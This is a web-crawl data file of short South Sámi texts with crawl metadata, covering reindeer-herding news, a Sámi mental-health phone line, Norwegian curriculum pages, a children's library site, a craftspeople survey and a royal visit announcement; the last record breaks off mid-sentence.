+{"text":"Båatsoerååresjimmieh leah fïerhtenjaapetje rååresjimmieh jielemelatjkoen bïjre Staaten jïh båatsoen gaskem. Saemiedigkie lea nuepiem åådtjeme lahtesigujmie båatsoelatjkose båetedh åvtelen rååresjimmieh aelkieh. Saemiedigkien stoerretjåanghkoe edtja Saemiedigkien lahtesh båatsoelaakese 2023\/2024 gïetedidh goeven 9. biejjien, Saemiedigkie pressebïevnesne tjaala.\n– Mov mïelen mietie daate båatsoelatjkoe tjuara sjïere fokusem utnedh dovne don geerve ekonomeles tseahkan jïh barkoetseahkan mejtie båatsoe daelie dååjroe. Lissine båatsoelatjkoe tjuara leavloem bïejedh dejtie sosijaale tsiehkide båatsosne, saemiedigkieraerie Hans Ole Eira (Gk) jeahta.\nNöörjen stööremes bovtseleekemegåetie Finnmark Rein sijhtieh sijjen stööremes gaahtjije Min Boazu AS åestedh, saemien plaerie Ávvir tjaala.\nNRK aarebi tjaaleme Min Boazu haestemh ekonomijine utneme. Dijjen aajnehke åestije Rema 1000 tjoerin barkijh jïh båatsoeburrieh jïjtje maeksedh, mænngan Rema 1000 sijjen latjkoem Min Boazuine illeme.\nÁvvir tjaala Finnmark Rein sijhtieh gaajhke dalhketjh sijjen gaahtjijistie åestedh, jïs dah tjuerieh leekemegåetiem steegkedh.\nOdne almmuha sápmelaš artista Viktor Bomstad vuosttaš skearrus.\nSkearru gohčoduvvo «Sámi Noise». Dat sisttisdoallá earret eará Berit Nordland ja Per Hætta samplejuvvon luđiid, improvisašuvnnaid ja ođđa šuoŋaid.\n«Sámi Noise» lea báddejuvvon Athletic Sound Studios Halden gávpogis. Bomstad lea ieš miksen dan.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.nrk.no\/sapmi\/garra-fattat-o__a-girjjis-1.14432116","date":"2022-12-02T10:51:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710900.9\/warc\/CC-MAIN-20221202082526-20221202112526-00793.warc.gz","language":"sma","language_score":0.9987552166,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9987552165985107}","num_words":165,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.055,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne mij lea 18 jaepien båeries jallh båarasåbpoe, saemien maadtojne jïh Älvdaelien tjïeltesne årroeminie, maahtah telefovnedåastovasse ringkedh jis sïjhth bïevnesh raerieh psykiske healsoen bïjre utnedh, jïh duvtemem åadtjodh gåabph edtjh bïeljelidh jis skïemtjehåksoem daarpesjh. Ij daarpesjh ajve dov åvteste ringkedh, menh maahtah gïen åvteste ringkedh mij lea gæbjan jïh funterdh magkerh viehkieh gååvnese.\nDatne åadtjoeh skïemtjesåjhterinie psykiatrije sjïerehåksosne soptsestidh mij maahtoem saemiej jielemen bïjre åtna, juktie Saemien healsoeviermesne meatan orreme.\nGaahpoebaelie:\nTelefovnedåastove lea gaahpode golken 11-b raejeste jïh gaahpode dæjstan gåpmoeh våhkoe, ts. 13:00 –15:00.\nTelefovnenommere:\n070-282 94 51\nTelefovnedåastove ij naan skïemtjesåjhtoem faalh.\nBuerie båeteme mijjen gåajkoe ringkedh!","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.1177.se\/sma-se\/Dalarna\/other-languages\/other-languages\/ma-daligt---andra-sprak\/telefonmottagning-for-dig-med-samisk-bakgrund-sydsamiska\/","date":"2022-12-06T07:37:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711074.68\/warc\/CC-MAIN-20221206060908-20221206090908-00055.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":93,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jarngebiehkie kultuvregoerkese lea guktie laavlome jïh musihke mejtie learohkh buektieh, darjoeh jïh dååjroeh, lea vïedteldihkie jïh ulmiem åtna dennie kultuvresne mestie båata. Maehtedh jïjtse jïh mubpiej musihkales vuekieh guarkedh, musihkem buektedh, musihkem darjodh jïh musihkem dååjredh dovne kulturelle maahtoem kreava jïh vadta. Tsiehkieh histovrijisnie jïh seabradahkesne leah tjoejehtimmiem,, laavlomem jïh daanhtsoem goh estetihkeles vuekieh baajnehtamme jïh vååjnesasse båetieh tjoejehtimmesne, laavloemisnie jïh daanhtsosne. Musihken mïele sjugniesåvva gosse musihke åtnasåvva sosijaale ektiedimmine, jïh musihke mïelem vadta sosijaale heannadimmide jïh rituaalide.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/om-faget\/kjerneelementer?lang=sma","date":"2022-12-03T11:24:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710931.81\/warc\/CC-MAIN-20221203111902-20221203141902-00170.warc.gz","language":"sma","language_score":0.9999969006,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999969005584717}","num_words":78,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"General.WelcomeHeader\nLohkh jïh goltelh \"Gusnie Noran gierehtse?\"\nMejtie gïem goltelamme mij dutnjien soptsesem saemien gïeline lohkeme? \"Gusnie Noran gierehtse?\" dïhte akte guvviegærja tekstine jïh tjoejine. Gærja vïjhte saemiengieline gååvnese, meänkielin jïh luhkie jeatjah gïeline. Tjaangh, lohkh jïh goltelh guktie Norese gåårede! Dïedth daabloem dan gïelese maam sïjhth lohkedh.\nBuerie båeteme Polarbibblose!\nMan luste datne daesnie! Mijjese maahtah teeksth, gærjahsaernieh jïh guvvieh seedtedh jïh sajtese bïejesovvedh. Jallh sïjhth memory spealadidh jallh quiz darjodh? Aaj maahtah jeatjaj maanaj teeksth lohkedh jïh dej guvvieh vuartasjidh.\nJis dov lea utnije mijjen luvnie maahtah meatan mijjen vuerpesne årrodh. Fïerhten asken gærjah, plaerieh jïh jeatjah lustes aath våarpoejibie.\nGegkiestibie lustem mijjen ektine åtnah!\nManne leam hujnies, manne sïjhtem klaeriedidh. Mannasinnie sïjht klaeriedidh? Lea luste, OK?! \"Britt-Marie 2.0\"\nIkth lij gïermesje, gellieh åejjiejgujmie. Snjåajpelh dej njaelmiej sistie råasoejin. Dellie golme ninjah böötin, jïh gïermesjem bäjjese vaaran nollelin, gropten sijse. Jeehtin desnie gullie. Ninjah gïermesjem geereli...\nNov dån daajrah mijjen lea Vuerpie daesnie Polarbibblosne? Fïerhten asken gærjah, plaerieh jïh jeatjah lustes aath våarpoejibie. Fïerhten aamhtesem maam mijjese seedteme lea akte vuerpie. Dellie tjoerh måjhtajidh kontom daarpesjh jis sïjhth meatan årrodh.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.polarbibblo.se\/sma-SE\/","date":"2022-12-03T16:25:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710933.89\/warc\/CC-MAIN-20221203143925-20221203173925-00263.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":181,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nSaemiestidh\nKlaasse-tjiehtjielisnie hijven sijjie gusnie maahtah saemiestidh. Desnie maahtah soptsestidh, digkiedidh, håalodh jïh åehpiedehtedh. Mujhtieh haarjanidh baakoeh jïh viehkie-dïrregh gaavnedh mah dåastoejasse, tseahkan jïh åssjelasse sjiehtieh. Jïh minngemosth: Goltelh!\nNjaalmeldh teeksth\nMah njaalmeldh teeksth? Njaalmeldh teeksth leah teksth gusnie jeejnemes njaalmeldh gaskesadteme. Pryövh baakoeh jïh vierhkie-viehtieh gaavnedh jïh lïeredh mah dåastoejasse sjiehtieh. Lïerh aaj goltelidh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:074f9b3d-1abb-4778-a88d-7d862d21726c\/topic:cfaa6cdb-b1c7-494b-b942-b5e81b9cfb70\/","date":"2023-01-30T00:53:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499790.41\/warc\/CC-MAIN-20230130003215-20230130033215-00242.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":59,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nSaemiestidh\nKlaasse-tjiehtjielisnie hijven sijjie gusnie maahtah saemiestidh. Desnie maahtah soptsestidh, digkiedidh, håalodh jïh åehpiedehtedh. Mujhtieh haarjanidh baakoeh jïh viehkie-dïrregh gaavnedh mah dåastoejasse, tseahkan jïh åssjelasse sjiehtieh. Jïh minngemosth: Goltelh!\nÅehpiedehtedh\nMan åvteste mijjieh åehpiedehtebe? Skuvlesne laavenjassh åadtjobe mejtie tjoerebe åehpiedehtedh. Eah gaajhkesh lyjhkh åehpiedehtedh. Kaanne dah kråvvadieh jïh eah hijvenlaakan åerieh jïjjen åvtelen . Dan åvteste vihkeles datne åehpiedehtemem hijvenlaakan soejkesjh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:074f9b3d-1abb-4778-a88d-7d862d21726c\/topic:2:82249bf0-e10d-4ae1-837a-f857d7d7fd5a\/","date":"2023-01-30T01:13:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499790.41\/warc\/CC-MAIN-20230130003215-20230130033215-00322.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":64,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nGïele goh nuepie\nGïelen gellie dïrregh, juktie mijjieh maehtebe jiehtedh maam sïjhtebe. Juktie væjkalåbpoe gïeline sjïdtedh, tjoerebe jïjnjem lohkedh, tjaeledh jïh gaskesadtedh.\nGïeleldh vierhkie-vierhtieh\nFïerhten aejkien gosse datne edtjh maam akt jiehtedh, soptsestidh jallh tjaeledh, dellie tjoerh veeljedh guktie edtjh dam darjodh. Gïele gellie nuepieh dutnjien vadta jïh datne maahtah gïelem vierhkie-vierhtine nuhtjedh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:2:5cf7a096-53f4-48c8-a889-447f6e95c80d\/","date":"2023-01-30T00:50:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499790.41\/warc\/CC-MAIN-20230130003215-20230130033215-00418.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":57,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.035,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate akte bööreme dutnjan mij saemien vytnesjæjja jïh tjiehpiedæjja, ihke akten enkäätesne meatan årrodh. Gyhtjelasside leah dov barkoen bïjre jïh magkerh gyhtjelassh jïh daerpiesvoeth\ndatne dåarjegijstie åtnah, goh ööhpehtimmie jïh jeatjah aath ihke dov gïehtelimmiem övtiedidh. Enkäätesne aaj gyhtjelassh gååvnese guktie SARS Covid-19 pandemije datnem jïh dov barkoem tsevtseme.\nGosse Rïjhkeorganisasjovne Same Ätnam (RSÄ) Saemiej Rïjhkesearvine (SSR) ektine öörnedi Insamlings jïh Sameslöjdstiftelsen – Sámi Duodji, lij dïhte dan gaavhtan ihke vaarjelidh, nænnoestidh jïh vuesiehtidh saemien vætnoeh jïh vytnesjæjjide. Dïhte reetnoe 30 jaepieh mænngan. Annje fååtese maahtoem byjjesfaamoej luvnie jïh dotkeme saemien vætnoen bïjre jïh vytnesjæjjaj aalkoetsiehkie- jïh barkoetsiehkiej bïjre, jïh daan gaavhtan aaj magkeres daerpiesvoeth mah gååvnesieh dej luvnie mah vytnesjæjjah leah. Saemien kulturelle barkoeh, goh vætnoe, leah nænnoes jïh buerielaakan voeni övtiedæmman jïh ekonomijese.Vytnesjæjjah daamtaj internasjonaale åestijh utnieh, jeenemes Nöörjen jïh Såevmien bielijste. Gellieh vytnesjæjjah vætnoeh aaj duekieh, sjeltine jïh festivaaline. Restriksjovnh fealadimmide jïh steegkeldh rastah, jïh semkiestamme sjeltieh pandemijesne, lea dan gaavhtan vytnesjæjjaj barkoenuepieh jïh baalhkah tsevtseme.\nEnkääte lea ektiebarkoe Rïjhkeorganisasjovne Same Ätnam (RSÄ) jïh Luleå Teknihke Universiteeten (LTU) gaskoeh. RSÄ ektiebarkoem daelie LTU:ine åtna dotkemeprosjektine Pandemije Noerhtene. Akte- jaepien prosjekte mij ïebnh tjåanghkene dan bïjre guktie lea Norrbottenisnie veasodh jïh barkedh SARS Covid-19 pandemijesne. Ulmie lea buerebe goerkelimmiem pandemijen tsevtsiemistie vedtedh, jïh buerebe dïrregh gaavnedh båetije biejjide. Prosjektesne LTU aaj ektiebarkoem åtna Norrbottenen museeuminie, Bite museeuminie jïh Laponiatjuottjudusinie.\nEnkäätevaestiedimmide nommehth tjöönghkebe jïh spåårebe LTU:en våarhkoe datovresavkesne!Ij naakenh nuepiem utnieh ohtsedidh gie enkäätesne vaestiedamme. RSÄ vuesehte tjåanghkoe resultaate Saemiedigkien Kultuvremoenehtsasse jïh nuhtjien dejtie goh maadtoe tjirrehtimmesne mij Sámi Duodjisne darjoen.Dotkemeprosjekten tjïrrh, Pandemije Noerhtene rååresjibie ihke resultaate edtja vuesiehtidh goh artihkelh publikasjovnine jïh seminaarine ihke maahtoem geerrehtidh saemien vætnoen bïjre jïh kåansten tsiehkiej bïjre, åejviesisvegisnie guktie pandemije dejtie tsevtseme.Ïebnide mah tjöönghkeme, prosjekten mænngan våarhkosne biejien LTU:en datovresavkesne jïh ajve dotkijh mah ïedtjem utnieh, maehtieh ïebnide jaksedh.\nMijjieh håhkesjibie ihke resultaate edtja sjïere daajroevåarome sjïdtedh, mij daan biejjien ohtsedibie saemien vætnoen aalkoetsiehkie- jïh barkoetsiehkiej bïjre, jïh aaj guktie pandemije jieliemasse tsevtseme Norrbottenen regijovnesne. Gyhtjelasside enkäätesne leah daaroengïelesne, mohte gåarede gyhtjelasside dov saemiengïelesne vaestiedidh, jis tuhtjh dïhte buerebe.\nPandemije Noerhtene lea dåarjegem åådtjeme FORMAS dotkijeraereste jïh enkääte lea dåhkasjehteme Etihkepryövemebyjjesfaamoste (dnr 2021-04114)\njallh dotkijidie prosjektesne:\nJis datne gyhtjelassh åtnah enkääten bïjre jallh dotkemeprosjekten bïjre, maahtah RSÄ:en åvtehke Marita Granström gaskesadtedh firstname.lastname@example.org, telefovne 070- 314 50 47","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.ltu.se\/research\/subjects\/Historia\/Forskningsprojekt\/Pandemi-i-norr\/Booreme-ekaatine-meatan-arrodh-dutnjan-mij-saemien-vytnesj-jja-jallh-tjiehpied-jja-1.214802","date":"2023-02-04T18:23:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500151.93\/warc\/CC-MAIN-20230204173912-20230204203912-00691.warc.gz","language":"sma","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000001311302185}","num_words":368,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(r.1946)\nVætnoe\nSvea Länta (r. Grahn) reakadi 1946 jïh sjïdtedi Tjiehtelisnie (Kittelfjäll). Dïhte Jåhkåmåhkke:sne (Jokkmokk) årroeminie sov fuelhkine. Dïhte barka saemien vätnojne mejnie gåetieb goh atelje, mohte aaj båatsoejielemisnie barkeminie mejgujmie vijrine gïetedidh dennie fuelhkie-darjomisnie.\nSvea Länta varki eelki ovmessie darjodh jah gåessie sjïdtemisnie die satne joe ditnieh geesi jïh butni sov aahkine, giejnie satne gellien aejkien vearadi. Svea Länta reakasuvvi goh båarasommes nïejte stoerre maanagåetesne mejgujmie luhkie maanah, sjïdti goh jijnjh dle fualhkan gåaroji. Sjïdtemisnie satne Dearnan saemieskuvlesne veedtsi jïh jilledaltesisnie Ängen saemieskuvlesne. Dan boelhken satne sov voestes ditniebeelteb gåaroji jïh jåarhki åtnoe-aath jijtsasse jah sov maadtoeladtjide gåarodh. Jaepiej 1960-taalesne dle lohki Saemiej Åålmehjilleskuvlesne jah dan männgan lea vytnesjamme goh jieliehtimmie, baaltele darjomeb sov fualhkan. Jaepiej 1980- jah 1990-taali gaske satne gellieh vuesiehtimmiej meatan vearadi, gellien aejkien jeatjah saemie-tjiehpiedäjja- jah vytnesjäjjaj eektine. Sofiero Helsingborg:sne, Malmö jah Liljevalchs:ne Stuehkesne leah v.g. naan sijjieh gusnie Svea Länta vuesiehtimmieh åtneme.\nSvea Länta lea gellieh åarjelsaemien ditniebeelth jah boengesguvmieh gååreme, dovne boengesguvmieh Árjepluovve- jah Jåhkåmåhkke:n dajvijste. Diss-vielie satne veaskoeh jah gïetebaanth ditnieklïsseme doekemasse.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/kansallisarkisto.fi\/aida\/sa\/duojar-arkiivvat\/namma-l\/lanta-svea-arkiiva","date":"2023-01-28T11:17:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499541.63\/warc\/CC-MAIN-20230128090359-20230128120359-00846.warc.gz","language":"sma","language_score":0.9998906851,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998906850814819}","num_words":168,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hans Majesteete Gånka Snåasese, Gïelevåhkoen rïhpestimmese\nH.M. Gånka Harald guessine åarjelsaemien gïele- jïh maahtoejarngese, Gïelem Nastedh:se Snåasese båata, golken asken 23 biejjien. Desnie Gånka edtja saemien gïelevåhkoen rïhpestimmesne meatan årrodh.\nGïelevåhkoe tseegkesovvi guktie dejtie saemien gielide gåhtsajehtedh jïh maahtoem gïeli bïjre seabradahkesne bueriedidh. Jieliemassh, organisasjovnh, byjjes institusjovnh jïh jeatjah aktöörh eevtjesuvvieh saemien gïelide abpe våhkoem gåhtsajehtedh. Voestes aejkien saemien gïelevåhkoe hööltesovvi lij jaepien 2019 jïh lij Saemiedigkien initiatijve.\nHans Majesteete Gånka Harald åtna saemien gyhtjelassh vihkeles, jïh Gånka Harald lij meatan dennie voestes saemien gïelevåhkoen rïhpestimmesne jaepien 2019.\nMijjieh dan madtjeles Gånka sæjhta meatan Gïelevåhkoen rïhpestimmesne golken asken årrodh. Daate stoerre nuepie mijjese åarjelsaemien gïelem gåhtsajehtedh, menh aaj dejtie mubpide saemien gïelide gåhtsajehtedh mah Nöörjen raedtesne, Gïelem Nastedh:n, gïelejarngen biejjieladtjeåvtehke, Hanne-Lena Wilks jeahta.\nRetnoe aelkedh soejkesjidh\nSaemiedigkie mij lea Gånkam Snåasese bööreme, jïh Gïelem Nastedh mij Gånkam dåastohte. Saemiedigkie, Gïelem Nastedh jïh Staatehaaltoje sijhtieh retnoe aelkedh soejkesjidh jïh programmem buektedh gosse Gånka guessine båata.\nSaemien gïelh\nSaemien gïelh dovne Nöörjesne, Sveerjesne, Såevmesne jïh Russlaantesne soptsesuvvieh. Luhkie joekehth gïelh gååvnese, menh Nöörjen raedtesne ajve golme gïelh nuhtjesuvvieh:\n- Noerhtesaemiengïele\n- Luvliesaemiengïele\n- Åarjelsaemiengïele\nÅarjelsaemiengïele lea alvas aajhtasovveme, menh daah minngemes jaepieh tjarki gïeligujmie barkeme guktie gïelide nænnoestidh, åarjelsaemiengieline aaj, mij Noerhtelaantesne, Trööndelaagesne, Innlaantesne jih Sveerjen raedtesne.\nPriv. til red\nDïhte programmebarkoe jïh tjïelkesoejkesjimmie Staatehaaltoen ektine. Bïevnese meedijen akkerediteeringen bïjre båata gosse lïhkebe båetebe. Sjïere presseprogramme dle båata.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.kongehuset.no\/artikkel.html?tid=211614&sek=112472","date":"2023-02-09T10:07:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764501555.34\/warc\/CC-MAIN-20230209081052-20230209111052-00251.warc.gz","language":"sma","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999978542327881}","num_words":220,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jåarhkeskuvle\nGymnasieskola\nUpmejisnie gellie tjïelten jåarhkeskuvlh, rïjhkejåarhkeskuvlh jïh frïjje jåarhkeskuvlh gååvnesieh. Jis nuerebe 20 jaepeste jåarhkeskuvleööhpehtimmiem lohkh. Jis båarasåbpoe 20 jaepeste geerveööhpehtimmesne lohkh.\nJåarhkeskuvleööhpehtæmman ohtsedidh\nJåarhkeskuvledåastove Västerbottenen leenesne bïevnesh vadta ööhpehtimmiej bïjre jïh dïhte dïedtem åtna ohtsemh jåarhkeskuvlide Västerbottenisnie. Jis maadthskuvlesne jallh jeatjah skuvlesne ohtsemem studijebïhkedæjjese skuvlesne vadta jallh gaskeviermien tjïrrh (www.gymnasieantagningen.nu External link, opens in new window.). Webbesijjesne gååvnese jienebh bïevnesh jåarhkeskuvlen ohtsemen bïjre.\nLearohkh leenen ålkoelisnie dej ohtsemem vadta ohtsemesuarkan sov hïejmetjïeltesne. Jienebh bïevnesh, bïeljelh studije- jïh barkoegeajnoebïhkedæjjah jallh jåarhkeskuvleohtsemem.\nJienebh bïevnesh\nLæstoe gusnie ovmessie jåarhkeskuvlh gååvnesieh www.umea.se\/gymnasieskola.\nLohkh vielie www.umea.se\/gymnasievalet External link, opens in new window. (sveerjengïelesne).","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/maanahjihoohpehtimmie\/jaarhkeskuvle.4.640818217563dc9fe54f0d.html","date":"2023-03-25T01:38:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945292.83\/warc\/CC-MAIN-20230325002113-20230325032113-00289.warc.gz","language":"sma","language_score":0.9999624491,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999624490737915}","num_words":98,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vitnedimmie (KRO01‑05)\nJarngebiehkieh\nSvihtjeme jïh lïereme kråahpine\nLearohkh edtjieh åehpies sjïdtedh oktegh jïh mubpiejgujmie svihtjedh jïjtsh ïedtji, aajkoej jïh nuepiej mietie. Learohkh jïjtsh identiteetem jïh jïjtjeguvviem goerehtieh jïh ussjededtieh jïh laejhtehkslaakan ussjedieh ektiedimmiej bïjre svihtjemen, kråahpen, saavremen jïh healsoen gaskem. Vitnedimmie nuepiem vadta lïeremasse kråahpine stååkedimmien jïh haarjanimmien tjïrrh gosse ålkone, daanhtsoen, darjomi tjïrrh gaarsjelimmesne jïh jeatjah svihtjemedarjomi tjïrrh. Kråahpine lïeredh lea gelliesåarhts motorihkeles lïeremen bïjre, evtiedimmie kråahpesvoerkesvoeteste jïh svihtjeme-aavose skreejrehtidh.\nMeatan årrodh jïh ektiespïelem utnedh svihtjemedarjoeminie\nLearohkh edtjieh haestemh jïh laavenjassh loetedh aktene lïeremeektievoetesne jïh maehtedh ussjedadtedh ektiespïelen, ektiedahkoen jïh seammavyörtegsvoeten bijjeli. Gelline svihtjemedarjoeminie daerpies meatan årrodh jïh laavenjostedh juktie lïeremem eevtjedh jïjtse luvnie jïh mubpiej luvnie. Lea joekehtsvoeth jååhkesjidh jïh gaajhkesidie meatan vaeltedh, saaht mah nuepieh gaajhkesi leah.\nDarjomh ålkone jïh eatnamisnie mïnnedh\nLearohkh edtjieh voengem nuhtjedh jïh eatnemem goerehtidh jeereldihkie darjomi tjïrrh ålkone joekehts jaepieboelhkine. Dååjresh eatnamisnie jïh jearsoe jïh monnehke fealadimmie leah vihkele. Vitnedimmesne learohkh edtjieh åadtjodh dååjredh ovmessie kultuvrh ålkoejieleden sisnjelen, aaj darjomh mah leah vïedteldihkie saemien kultuvrese.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/kro01-05\/om-faget\/kjerneelementer?lang=sma","date":"2023-03-26T14:34:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945473.69\/warc\/CC-MAIN-20230326142035-20230326172035-00705.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":163,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matematihke 1-10 (MAT01‑05)\nJarngebiehkieh\nGoerehtimmie jïh dåeriesmoereloeteme\nGoerehtimmie matematihkesne sæjhta jiehtedh learohkh möönsterh ohtsedieh, ektiedimmieh gaevnieh jïh digkiedieh goske ektie goerkesasse båetieh. Learohkh edtjieh stuerebe leavloem bïejedh strategijide jïh dahkoevuekide goh loetemidie. Dåeriesmoerh matematihkesne loetedh sæjhta jiehtedh learohkh aktem vuekiem evtiedieh juktie dåeriesmoerem loetedh maam eah aarebistie daejrieh. Algoritmiske ussjedimmie lea vihkeles prosessesne gosse edtja strategijh jïh dahkoevuekieh evtiedidh juktie dåeriesmoerh loetedh, jïh sæjhta jiehtedh dåeriesmoerem bieliedåeriesmoeri sïjse juekedh mejtie maahta öörnegen mietie loetedh. Edtja aaj vuarjasjidh mejtie maahta bieliedåeriesmoeride bööremes loetedh digitaale dïrregigujmie jallh dej namhtah. Dåeriesmoereloeteme lea aaj åehpies jïh ovnohkens dåeriesmoerh analyseeredh jïh orrelaakan hammoedidh, dejtie loetedh jïh vuarjasjidh mejtie loetemh leah faamosne.\nModelleereme jïh nuhtemh\nModelle matematihkesne lea buerkiestimmie saetniesvoeteste matematihken gïelesne. Learohkh edtjieh daajroem utnedh guktie modellh matematihkesne åtnasuvvieh juktie biejjieladtje jieledem, barkoejieledem jïh abpe seabradahkem buerkiestidh. Modelleereme matematihkesne lea dagkerh modellh darjodh. Edtja aaj laejhtehkslaakan vuarjasjidh mejtie modellh leah faamosne, jïh mah gaertjiedimmieh dej leah, modellide tjoevkesisnie dejstie voestesiereste tsiehkijste vuarjasjidh, jïh vuarjasjidh mejtie dah maehtieh jeatjah tsiehkine åtnasovvedh. Nuhtemh matematihkesne sæjhta jiehtedh learohkh edtjieh daajroem åadtjodh guktie dah edtjieh matematihkem ovmessie tsiehkine nuhtjedh, dovne faagesne jïh faagen ålkolen.\nResonneereme jïh argumentasjovne\nResonneereme matematihkesne lea maehtedh matematihkeles åssjaldahkeraajroeh fulkedh, vuarjasjidh jïh guarkedh. Daate sæjhta jiehtedh learohkh edtjieh guarkedh matematihkeles njoelkedassh jïh illedahkh eah leah saaht mah njoelkedassh, men tjïelke tjïelkestimmieh utnieh. Learohkh edtjieh jïjtsh resonnementh hammoedidh dovne juktie dah edtjieh guarkedh jïh dåeriesmoerh loetedh. Argumentasjovne matematihkesne sæjhta jiehtedh learohkh dahkoevuekieh, ussjedimmievuekieh jïh loetemh tjïelkestieh, 